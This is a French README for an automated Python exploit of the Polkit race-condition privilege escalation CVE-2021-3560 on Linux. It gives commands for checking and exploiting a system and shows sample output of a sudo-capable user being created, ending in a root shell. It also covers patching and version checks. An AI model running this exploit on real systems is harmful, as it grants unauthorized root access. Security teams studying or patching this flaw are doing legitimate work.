
Exploit pour la vulnérabilité d'élévation locale de privilèges CVE-2021-3560 Polkit
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
Un exploit automatisé pour la vulnérabilité CVE-2021-3560 affectant PolicyKit (Polkit) sur les systèmes Linux.
⚠️ AVERTISSEMENT : Cet outil est destiné uniquement à des fins éducatives et de formation en cybersécurité dans un environnement de laboratoire contrôlé. Toute utilisation non autorisée de cet exploit sur des systèmes qui ne vous appartiennent pas est illégale.
CVE-2021-3560 est une vulnérabilité locale de type condition de course dans PolicyKit (polkit) qui permet à un utilisateur non privilégié d'obtenir les privilèges root sur des systèmes Linux vulnérables.
La vulnérabilité affecte deux branches de Polkit avec une numérotation de version différente :
bfa5036 (version 0.113)f81d021 (version 0.105-26)📝 Remarque : Les systèmes avec correctifs de sécurité appliqués (par exemple, ubuntu1.1, deb10u1) ne sont pas vulnérables.
L'exploit nécessite les outils suivants (vérifiés automatiquement) :
- dbus-send # To communicate with D-Bus
- pkexec # Part of PolicyKit
- id # To verify user creation
- openssl # To generate password hash
- accountsservice # Must be installed and active
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Make the script executable
chmod +x CVE-2021-3560_Polkit.py
Vérifie si le système est vulnérable sans exécuter l'exploit :
python3 CVE-2021-3560_Polkit.py --check
Exemple de sortie :
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
Crée un utilisateur privilégié :
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
Exemple :
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Show help
-u, --username Username to create
-p, --password Password for new user
-c, --check Check vulnerability without exploiting
L'exploit exploite une condition de course dans PolicyKit pendant le traitement des requêtes D-Bus.
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement │
│ └─> Test execution to calibrate timing │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation │
│ └─> Send D-Bus CreateUser request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Verify if user created │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation │
│ └─> Using openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting │
│ └─> Send D-Bus SetPassword request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Test login with password │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation │
│ └─> Login with created account │
│ └─> Use sudo if member of sudo group │
└─────────────────────────────────────────────────────────┘
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝
[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT SUCCESSFUL! ║
╚═══════════════════════════════════════════════════════════╝
[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...
# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)
Mettre à jour PolicyKit :
# Debian/Ubuntu
sudo apt update && sudo apt upgrade policykit-1
# RHEL/CentOS/Fedora
sudo yum update polkit
# or
sudo dnf update polkit
Vérifier la version :
pkexec --version
# Must be >= 0.119 (upstream) or patched
Vérifier les correctifs de sécurité :
# Debian/Ubuntu
apt-cache policy policykit-1
# RHEL/CentOS/Fedora
rpm -q --changelog polkit | grep CVE-2021-3560
L'exploit repose sur une condition de course, ce qui signifie :
Les versions suivantes incluent des correctifs de sécurité et ne sont PAS vulnérables :
0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3, etc. (Ubuntu corrigé)0.105-26ubuntu2.1, 0.105-26ubuntu2.2, etc. (Ubuntu corrigé)0.105-31+deb11u1 (Debian 11 corrigé)polkit-0.115-11.el8_4.1 (RHEL 8 corrigé)Remarque : Si votre système apparaît comme vulnérable mais que l'exploit échoue avec des erreurs PermissionDenied, c'est probablement parce que la version est corrigée. L'exploit détectera désormais correctement ces versions corrigées.
Si l'exploit échoue :
Vérifier la version de Python (si vous obtenez TypeError: __init__() got an unexpected keyword argument 'capture_output') :
python3 --version
# Should be 3.6 or higher
# The script is compatible with Python 3.6+
Vérifier si la version est corrigée :
pkexec --version
# If you see ubuntu1.X (where X > 0), it's patched
Vérifier accountsservice :
systemctl status accounts-daemon
Vérifier D-Bus :
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
Lancer depuis SSH plutôt que depuis la console locale
Ajuster le timing en modifiant optimal_timing dans le code
Seimu
Ce projet est destiné uniquement à des fins éducatives. L'utilisation de ce code pour des activités non autorisées est strictement interdite et peut entraîner des poursuites judiciaires.
⚠️ Avertissement : L'auteur n'est pas responsable de toute utilisation abusive de cet outil. Utilisez-le uniquement dans des environnements de test autorisés.
| Distribution | Version de Polkit | Vulnérable ? |
|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ Oui |
| Ubuntu 18.04 | 0.105-20 | ❌ Non |
| Debian testing "bullseye" | 0.105-31+ | ✅ Oui |
| Debian 10 « buster » | 0.105-25 | ❌ Non |
| RHEL 8 | 0.115-11+ | ✅ Oui |
| RHEL 7 | < 0.113 | ❌ Non |
| Fedora 21+ | 0.113+ | ✅ Oui |
| Fedora 20 et versions antérieures | < 0.113 | ❌ Non |